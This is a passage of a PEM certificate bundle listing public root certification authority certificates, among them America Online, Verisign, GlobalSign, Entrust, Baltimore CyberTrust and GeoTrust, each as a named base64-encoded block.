QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp
Y2F0aW9uIEF1dGhvcml0eSAxMB4XDTAyMDUyODA2MDAwMFoXDTM3MTExOTIwNDMwMFowYzELMAkG
A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg
T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAKgv6KRpBgNHw+kqmP8ZonCaxlCyfqXfaE0bfA+2l2h9LaaLl+lkhsmj76CG
v2BlnEtUiMJIxUo5vxTjWVXlGbR0yLQFOVwWpeKVBeASrlmLojNoWBym1BW32J/X3HGrfpq/m44z
DyL9Hy7nBzbvYjnF3cu6JRQj3gzGPTzOggjmZj7aUTsWOqMFf6Dch9Wc/HKpoH145LcxVR5lu9Rh
sCFg7RAycsWSJR74kEoYeEfffjA3PlAb2xzTa5qGUwew76wGePiEmf4hjUyAtgyC9mZweRrTT6PP
8c9GsEsPPt2IYriMqQkoO3rHl+Ee5fSfwMCuJKDIodkP1nsmgmkyPacCAwEAAaNjMGEwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHQ4EFgQUAK3Zo/Z59m50qX8zPYEX10zPM94wHwYDVR0jBBgwFoAUAK3Z
o/Z59m50qX8zPYEX10zPM94wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBBQUAA4IBAQB8itEf
GDeC4Liwo+1WlchiYZwFos3CYiZhzRAW18y0ZTTQEYqtqKkFZu90821fnZmv9ov761KyBZiibyrF
VL0lvV+uyIbqRizBs73B6UlwGBaXCBOMIOAbLjpHyx7kADCVW/RFo8AasAFOq73AI25jP4BKxQft
3OJvx8Fi8eNy1gTIdGcL+oiroQHIb/AUr9KZzVGTfu0uOMe9zkZQPXLjeSWdm4grECDdpbgyn43g
Kd8hdIaC2y+CMMbHNYaz+ZZfRtsMRf3zUMNvxsNIrUam4SdHCh0Om7bCd39j8uB9Gr784N/Xx6ds
sPmuujz9dLQR6FgNgLzTqIA6me11zEZ7
-----END CERTIFICATE-----

America Online Root Certification Authority 2
=============================================
-----BEGIN CERTIFICATE-----
MIIFpDCCA4ygAwIBAgIBATANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEcMBoGA1UEChMT
QW1lcmljYSBPbmxpbmUgSW5jLjE2MDQGA1UEAxMtQW1lcmljYSBPbmxpbmUgUm9vdCBDZXJ0aWZp
Y2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyODA2MDAwMFoXDTM3MDkyOTE0MDgwMFowYzELMAkG
A1UEBhMCVVMxHDAaBgNVBAoTE0FtZXJpY2EgT25saW5lIEluYy4xNjA0BgNVBAMTLUFtZXJpY2Eg
T25saW5lIFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQAD
ggIPADCCAgoCggIBAMxBRR3pPU0Q9oyxQcngXssNt79Hc9PwVU3dxgz6sWYFas14tNwC206B89en
fHG8dWOgXeMHDEjsJcQDIPT/DjsS/5uN4cbVG7RtIuOx238hZK+GvFciKtZHgVdEglZTvYYUAQv8
f3SkWq7xuhG1m1hagLQ3eAkzfDJHA1zEpYNI9FdWboE2JxhP7JsowtS013wMPgwr38oE18aO6lhO
qKSlGBxsRZijQdEt0sdtjRnxrXm3gT+9BoInLRBYBbV4Bbkv2wxrkJB+FFk4u5QkE+XRnRTf04JN
RvCAOVIyD+OEsnpD8l7eXz8d3eOyG6ChKiMDbi4BFYdcpnV1x5dhvt6G3NRI270qv0pV2uh9UPu0
gBe4lL8BPeraunzgWGcXuVjgiIZGZ2ydEEdYMtA1fHkqkKJaEBEjNa0vzORKW6fIJ/KD3l67Xnfn
6KVuY8INXWHQjNJsWiEOyiijzirplcdIz5ZvHZIlyMbGwcEMBawmxNJ10uEqZ8A9W6Wa6897Gqid
FEXlD6CaZd4vKL3Ob5Rmg0gp2OpljK+T2WSfVVcmv2/LNzGZo2C7HK2JNDJiuEMhBnIMoVxtRsX6
Kc8w3onccVvdtjc+31D1uAclJuW8tf48ArO3+L5DwYcRlJ4jbBeKuIonDFRH8KmzwICMoCfrHRnj
B453cMor9H124HhnAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFE1FwWg4u3Op
aaEg5+31IqEjFNeeMB8GA1UdIwQYMBaAFE1FwWg4u3OpaaEg5+31IqEjFNeeMA4GA1UdDwEB/wQE
AwIBhjANBgkqhkiG9w0BAQUFAAOCAgEAZ2sGuV9FOypLM7PmG2tZTiLMubekJcmnxPBUlgtk87FY
T15R/LKXeydlwuXK5w0MJXti4/qftIe3RUavg6WXSIylvfEWK5t2LHo1YGwRgJfMqZJS5ivmae2p
+DYtLHe/YUjRYwu5W1LtGLBDQiKmsXeu3mnFzcccobGlHBD7GL4acN3Bkku+KVqdPzW+5X1R+FXg
JXUjhx5c3LqdsKyzadsXg8n33gy8CNyRnqjQ1xU3c6U1uPx+xURABsPr+CKAXEfOAuMRn0T//Zoy
zH1kUQ7rVyZ2OuMeIjzCpjbdGe+n/BLzJsBZMYVMnNjP36TMzCmT/5RtdlwTCJfy7aULTd3oyWgO
ZtMADjMSW7yV5TKQqLPGbIOtd+6Lfn6xqavT4fG2wLHqiMDn05DpKJKUe2h7lyoKZy2FAjgQ5ANh
1NolNscIWC2hp1GvMApJ9aZphwctREZ2jirlmjvXGKL8nDgQzMY70rUXOm/9riW99XJZZLF0Kjhf
GEzfz3EEWjbUvy+ZnOjZurGV5gJLIaFb1cFPj65pbVPbAZO1XB4Y3WRayhgoPmMEEf0cjQAPuDff
Z4qdZqkCapH/E8ovXYO8h5Ns3CRRFgQlZvqz2cK6Kb6aSDiCmfS/O0oxGfm/jiEzFMpPVF/7zvuP
cX/9XhmgD0uRuMRUvAawRY8mkaKO/qk=
-----END CERTIFICATE-----

Verisign Class 3 Public Primary Certification Authority
=======================================================
-----BEGIN CERTIFICATE-----
MIICPDCCAaUCEDyRMcsf9tAbDpq40ES/Er4wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5
IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTk2MDEyOTAwMDAwMFoXDTI4MDgwMjIzNTk1OVow
XzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAz
IFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIGfMA0GCSqGSIb3DQEBAQUA
A4GNADCBiQKBgQDJXFme8huKARS0EN8EQNvjV69qRUCPhAwL0TPZ2RHP7gJYHyX3KqhEBarsAx94
f56TuZoAqiN91qyFomNFx3InzPRMxnVx0jnvT0Lwdd8KkMaOIG+YD/isI19wKTakyYbnsZogy1Ol
hec9vn2a/iRFM9x2Fe0PonFkTGUugWhFpwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBABByUqkFFBky
CEHwxWsKzH4PIRnN5GfcX6kb5sroc50i2JhucwNhkcV8sEVAbkSdjbCxlnRhLQ2pRdKkkirWmnWX
bj9T/UWZYB2oK0z5XqcJ2HUw19JlYD1n1khVdWk/kfVIC0dpImmClr7JyDiGSnoscxlIaU5rfGW/
D/xwzoiQ
-----END CERTIFICATE-----

GlobalSign Root CA
==================
-----BEGIN CERTIFICATE-----
MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkGA1UEBhMCQkUx
GTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkds
b2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAwMDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNV
BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYD
VQQDExJHbG9iYWxTaWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDa
DuaZjc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6sc
THAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4bwY8iGlb
Kk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVtbNV4FpWi6cgKOOvyJBNP
c1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlwR5EiUWMWea6xrkEmCMgZK9FGqkjWZCrX
gzT/LCrBbBlDSgeF59N89iFo7+ryUp9/k5DPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV
HRMBAf8EBTADAQH/MB0GA1UdDgQWBBRge2YaRQ2XyolQL30EzTSo//z9SzANBgkqhkiG9w0BAQUF
AAOCAQEA1nPnfE920I2/7LqivjTFKDK1fPxsnCwrvQmeU79rXqoRSLblCKOzyj1hTdNGCbM+w6Dj
Y1Ub8rrvrTnhQ7k4o+YviiY776BQVvnGCv04zcQLcFGUl5gE38NflNUVyRRBnMRddWQVDf9VMOyG
j/8N7yy5Y0b2qvzfvGn9LhJIZJrglfCm7ymPAbEVtQwdpf5pLGkkeB6zpxxxYu7KyJesF12KwvhH
hm4qxFYxldBniYUr+WymXUadDKqC5JlR3XC321Y9YeRq4VzW9v493kHMB65jUr9TU/Qr6cf9tveC
X4XSQRjbgbMEHMUfpIBvFSDJ3gyICh3WZlXi/EjJKSZp4A==
-----END CERTIFICATE-----

GlobalSign Root CA - R2
=======================
-----BEGIN CERTIFICATE-----
MIIDujCCAqKgAwIBAgILBAAAAAABD4Ym5g0wDQYJKoZIhvcNAQEFBQAwTDEgMB4GA1UECxMXR2xv
YmFsU2lnbiBSb290IENBIC0gUjIxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh
bFNpZ24wHhcNMDYxMjE1MDgwMDAwWhcNMjExMjE1MDgwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT
aWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln
bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKbPJA6+Lm8omUVCxKs+IVSbC9N/hHD6
ErPLv4dfxn+G07IwXNb9rfF73OX4YJYJkhD10FPe+3t+c4isUoh7SqbKSaZeqKeMWhG8eoLrvozp
s6yWJQeXSpkqBy+0Hne/ig+1AnwblrjFuTosvNYSuetZfeLQBoZfXklqtTleiDTsvHgMCJiEbKjN
S7SgfQx5TfC4LcshytVsW33hoCmEofnTlEnLJGKRILzdC9XZzPnqJworc5HGnRusyMvo4KD0L5CL
TfuwNhv2GXqF4G3yYROIXJ/gkwpRl4pazq+r1feqCapgvdzZX99yqWATXgAByUr6P6TqBwMhAo6C
ygPCm48CAwEAAaOBnDCBmTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4E
FgQUm+IHV2ccHsBqBt5ZtJot39wZhi4wNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2NybC5nbG9i
YWxzaWduLm5ldC9yb290LXIyLmNybDAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjAN
BgkqhkiG9w0BAQUFAAOCAQEAmYFThxxol4aR7OBKuEQLq4GsJ0/WwbgcQ3izDJr86iw8bmEbTUsp
9Z8FHSbBuOmDAGJFtqkIk7mpM0sYmsL4h4hO291xNBrBVNpGP+DTKqttVCL1OmLNIG+6KYnX3ZHu
01yiPqFbQfXf5WRDLenVOavSot+3i9DAgBkcRcAtjOj4LaR0VknFBbVPFd5uRHg5h6h+u/N5GJG7
9G+dwfCMNYxdAfvDbbnvRG15RjF+Cv6pgsH/76tuIMRQyV+dTZsXjAzlAcmgQWpzU/qlULRuJQ/7
TBj0/VLZjmmx6BEP3ojY+x1J96relc8geMJgEtslQIxq/H5COEBkEveegeGTLg==
-----END CERTIFICATE-----

Verisign Class 3 Public Primary Certification Authority - G3
============================================================
-----BEGIN CERTIFICATE-----
MIIEGjCCAwICEQCbfgZJoz5iudXukEhxKe9XMA0GCSqGSIb3DQEBBQUAMIHKMQswCQYDVQQGEwJV
UzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdv
cmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNl
IG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkgLSBHMzAeFw05OTEwMDEwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMIHKMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy
dXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAxOTk5IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhv
cml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkg
Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAMu6nFL8eB8aHm8bN3O9+MlrlBIwT/A2R/XQkQr1F8ilYcEWQE37imGQ5XYgwREGfassbqb1
EUGO+i2tKmFZpGcmTNDovFJbcCAEWNF6yaRpvIMXZK0Fi7zQWM6NjPXr8EJJC52XJ2cybuGukxUc
cLwgTS8Y3pKI6GyFVxEa6X7jJhFUokWWVYPKMIno3Nij7SqAP395ZVc+FSBmCC+Vk7+qRy+oRpfw
EuL+wgorUeZ25rdGt+INpsyow0xZVYnm6FNcHOqd8GIWC6fJXwzw3sJ2zq/3avL6QaaiMxTJ5Xpj
055iN9WFZZ4O5lMkdBteHRJTW8cs54NJOxWuimi5V5cCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEA
ERSWwauSCPc/L8my/uRan2Te2yFPhpk0djZX3dAVL8WtfxUfN2JzPtTnX84XA9s1+ivbrmAJXx5f
j267Cz3qWhMeDGBvtcC1IyIuBwvLqXTLR7sdwdela8wv0kL9Sd2nic9TutoAWii/gt/4uhMdUIaC
/Y4wjylGsB49Ndo4YhYYSq3mtlFs3q9i6wHQHiT+eo8SGhJouPtmmRQURVyu565pF4ErWjfJXir0
xuKhXFSbplQAz/DxwceYMBo7Nhbbo27q/a2ywtrvAkcTisDxszGtTxzhT5yvDwyd93gN2PQ1VoDa
t20Xj50egWTh/sVFuq1ruQp6Tk9LhO5L8X3dEQ==
-----END CERTIFICATE-----

Entrust.net Premium 2048 Secure Server CA
=========================================
-----BEGIN CERTIFICATE-----
MIIEKjCCAxKgAwIBAgIEOGPe+DANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChMLRW50cnVzdC5u
ZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBpbmNvcnAuIGJ5IHJlZi4gKGxp
bWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNV
BAMTKkVudHJ1c3QubmV0IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQx
NzUwNTFaFw0yOTA3MjQxNDE1MTJaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3
d3d3LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxpYWIuKTEl
MCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEGA1UEAxMqRW50cnVzdC5u
ZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgpMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEArU1LqRKGsuqjIAcVFmQqK0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOL
Gp18EzoOH1u3Hs/lJBQesYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSr
hRSGlVuXMlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVTXTzW
nLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/HoZdenoVve8AjhUi
VBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH4QIDAQABo0IwQDAOBgNVHQ8BAf8E
BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVeSB0RGAvtiJuQijMfmhJAkWuXAwDQYJ
KoZIhvcNAQEFBQADggEBADubj1abMOdTmXx6eadNl9cZlZD7Bh/KM3xGY4+WZiT6QBshJ8rmcnPy
T/4xmf3IDExoU8aAghOY+rat2l098c5u9hURlIIM7j+VrxGrD9cv3h8Dj1csHsm7mhpElesYT6Yf
zX1XEC+bBAlahLVu2B064dae0Wx5XnkcFMXj0EyTO2U87d89vqbllRrDtRnDvV5bu/8j72gZyxKT
J1wDLW8w0B62GqzeWvfRqqgnpv55gcR5mTNXuhKwqeBCbJPKVt7+bYQLCIt+jerXmCHG8+c8eS9e
nNFMFY3h7CI3zJpDC5fcgJCNs2ebb0gIFVbPv/ErfF6adulZkMV8gzURZVE=
-----END CERTIFICATE-----

Baltimore CyberTrust Root
=========================
-----BEGIN CERTIFICATE-----
MIIDdzCCAl+gAwIBAgIEAgAAuTANBgkqhkiG9w0BAQUFADBaMQswCQYDVQQGEwJJRTESMBAGA1UE
ChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3li
ZXJUcnVzdCBSb290MB4XDTAwMDUxMjE4NDYwMFoXDTI1MDUxMjIzNTkwMFowWjELMAkGA1UEBhMC
SUUxEjAQBgNVBAoTCUJhbHRpbW9yZTETMBEGA1UECxMKQ3liZXJUcnVzdDEiMCAGA1UEAxMZQmFs
dGltb3JlIEN5YmVyVHJ1c3QgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKME
uyKrmD1X6CZymrV51Cni4eiVgLGw41uOKymaZN+hXe2wCQVt2yguzmKiYv60iNoS6zjrIZ3AQSsB
UnuId9Mcj8e6uYi1agnnc+gRQKfRzMpijS3ljwumUNKoUMMo6vWrJYeKmpYcqWe4PwzV9/lSEy/C
G9VwcPCPwBLKBsua4dnKM3p31vjsufFoREJIE9LAwqSuXmD+tqYF/LTdB1kC1FkYmGP1pWPgkAx9
XbIGevOF6uvUA65ehD5f/xXtabz5OTZydc93Uk3zyZAsuT3lySNTPx8kmCFcB5kpvcY67Oduhjpr
l3RjM71oGDHweI12v/yejl0qhqdNkNwnGjkCAwEAAaNFMEMwHQYDVR0OBBYEFOWdWTCCR1jMrPoI
VDaGezq1BE3wMBIGA1UdEwEB/wQIMAYBAf8CAQMwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEB
BQUAA4IBAQCFDF2O5G9RaEIFoN27TyclhAO992T9Ldcw46QQF+vaKSm2eT929hkTI7gQCvlYpNRh
cL0EYWoSihfVCr3FvDB81ukMJY2GQE/szKN+OMY3EU/t3WgxjkzSswF07r51XgdIGn9w/xZchMB5
hbgF/X++ZRGjD8ACtPhSNzkE1akxehi/oCr0Epn3o0WC4zxe9Z2etciefC7IpJ5OCBRLbf1wbWsa
Y71k5h+3zvDyny67G7fyUIhzksLi4xaNmjICq44Y3ekQEe5+NauQrz4wlHrQMz2nZQ/1/I6eYs9H
RCwBXbsdtTLSR9I4LtD+gdwyah617jzV/OeBHRnDJELqYzmp
-----END CERTIFICATE-----

Entrust Root Certification Authority
====================================
-----BEGIN CERTIFICATE-----
MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV
BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw
b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG
A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0
MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu
MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu
Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v
dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz
A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww
Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68
j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN
rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw
DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1
MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH
hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA
A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM
Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa
v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS
W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0
tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8
-----END CERTIFICATE-----

GeoTrust Global CA
==================
-----BEGIN CERTIFICATE-----
MIIDVDCCAjygAwIBAgIDAjRWMA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQK
Ew1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMDIwNTIxMDQw
MDAwWhcNMjIwNTIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j
LjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjo
BbdqfnGk5sRgprDvgOSJKA+eJdbtg/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet
8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+Vc
T4wt/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagU
vTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo1MwUTAPBgNVHRMBAf8EBTAD
AQH/MB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAfBgNVHSMEGDAWgBTAephojYn7qwVk
DBF9qn1luMrMTjANBgkqhkiG9w0BAQUFAAOCAQEANeMpauUvXVSOKVCUn5kaFOSPeCpilKInZ57Q
zxpeR+nBsqTP3UEaBU6bS+5Kb1VSsyShNwrrZHYqLizz/Tt1kL/6cdjHPTfStQWVYrmm3ok9Nns4
d0iXrKYgjy6myQzCsplFAMfOEVEiIuCl6rYVSAlk6l5PdPcFPseKUgzbFbS9bZvlxrFUaKnjaZC2
mqUPuLk/IH2uSrW4nOQdtqvmlKXBx4Ot2/Unhw4EbNX/3aBd7YdStysVAq45pmp06drE57xNNB6p
XE0zX5IJL4hmXXeXxx12E6nV5fEWCRE11azbJHFwLJhWC9kXtNHjUStedejV0NxPNO3CBWaAocvm
Mw==
-----END CERTIFICATE-----

GeoTrust Universal CA
=====================
-----BEGIN CERTIFICATE-----
MIIFaDCCA1CgAwIBAgIBATANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN
R2VvVHJ1c3QgSW5jLjEeMBwGA1UEAxMVR2VvVHJ1c3QgVW5pdmVyc2FsIENBMB4XDTA0MDMwNDA1
MDAwMFoXDTI5MDMwNDA1MDAwMFowRTELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IElu
Yy4xHjAcBgNVBAMTFUdlb1RydXN0IFVuaXZlcnNhbCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBAKYVVaCjxuAfjJ0hUNfBvitbtaSeodlyWL0AG0y/YckUHUWCq8YdgNY96xCcOq9t
JPi8cQGeBvV8Xx7BDlXKg5pZMK4ZyzBIle0iN430SppyZj6tlcDgFgDgEB8rMQ7XlFTTQjOgNB0e
RXbdT8oYN+yFFXoZCPzVx5zw8qkuEKmS5j1YPakWaDwvdSEYfyh3peFhF7em6fgemdtzbvQKoiFs
7tqqhZJmr/Z6a4LauiIINQ/PQvE1+mrufislzDoR5G2vc7J2Ha3QsnhnGqQ5HFELZ1aD/ThdDc7d
8Lsrlh/eezJS/R27tQahsiFepdaVaH/wmZ7cRQg+59IJDTWU3YBOU5fXtQlEIGQWFwMCTFMNaN7V
qnJNk22CDtucvc+081xdVHppCZbW2xHBjXWotM85yM48vCR85mLK4b19p71XZQvk/iXttmkQ3Cga
Rr0BHdCXteGYO8A3ZNY9lO4L4fUorgtWv3GLIylBjobFS1J72HGrH4oVpjuDWtdYAVHGTEHZf9hB
Z3KiKN9gg6meyHv8U3NyWfWTehd2Ds735VzZC1U0oqpbtWpU5xPKV+yXbfReBi9Fi1jUIxaS5BZu
KGNZMN9QAZxjiRqf2xeUgnA3wySemkfWWspOqGmJch+RbNt+nhutxx9z3SxPGWX9f5NAEC7S8O08
ni4oPmkmM8V7AgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNq7LqqwDLiIJlF0
XG0D08DYj3rWMB8GA1UdIwQYMBaAFNq7LqqwDLiIJlF0XG0D08DYj3rWMA4GA1UdDwEB/wQEAwIB
hjANBgkqhkiG9w0BAQUFAAOCAgEAMXjmx7XfuJRAyXHEqDXsRh3ChfMoWIawC/yOsjmPRFWrZIRc
aanQmjg8+uUfNeVE44B5lGiku8SfPeE0zTBGi1QrlaXv9z+ZhP015s8xxtxqv6fXIwjhmF7DWgh2
qaavdy+3YL1ERmrvl/9zlcGO6JP7/TG37FcREUWbMPEaiDnBTzynANXH/KttgCJwpQzgXQQpAvvL
oJHRfNbDflDVnVi+QTjruXU8FdmbyUqDWcDaU/0zuzYYm4UPFd3uLax2k7nZAY1IEKj79TiG8dsK
xr2EoyNB3tZ3b4XUhRxQ4K5RirqNPnbiucon8l+f725ZDQbYKxek0nxru18UGkiPGkzns0ccjkxF
KyDuSN/n3QmOGKjaQI2SJhFTYXNd673nxE0pN2HrrDktZy4W1vUAg4WhzH92xH3kt0tm7wNFYGm2
DFKWkoRepqO1pD4r2czYG0eq8kTaT/kD6PAUyz/zg97QwVTjt+gKN02LIFkDMBmhLMi9ER/frslK
xfMnZmaGrGiR/9nmUxwPi1xpZQomyB40w11Re9epnAahNt3ViZS82eQtDF4JbAiXfKM9fJP/P6EU
p8+1Xevb2xzEdt+Iub1FBZUbrvxGakyvSOPOrg/SfuvmbJxPgWp6ZKy7PtXny3YuxadIwVyQD8vI
P/rmMuGNG2+k5o7Y+SlIis5z/iw=
-----END CERTIFICATE-----

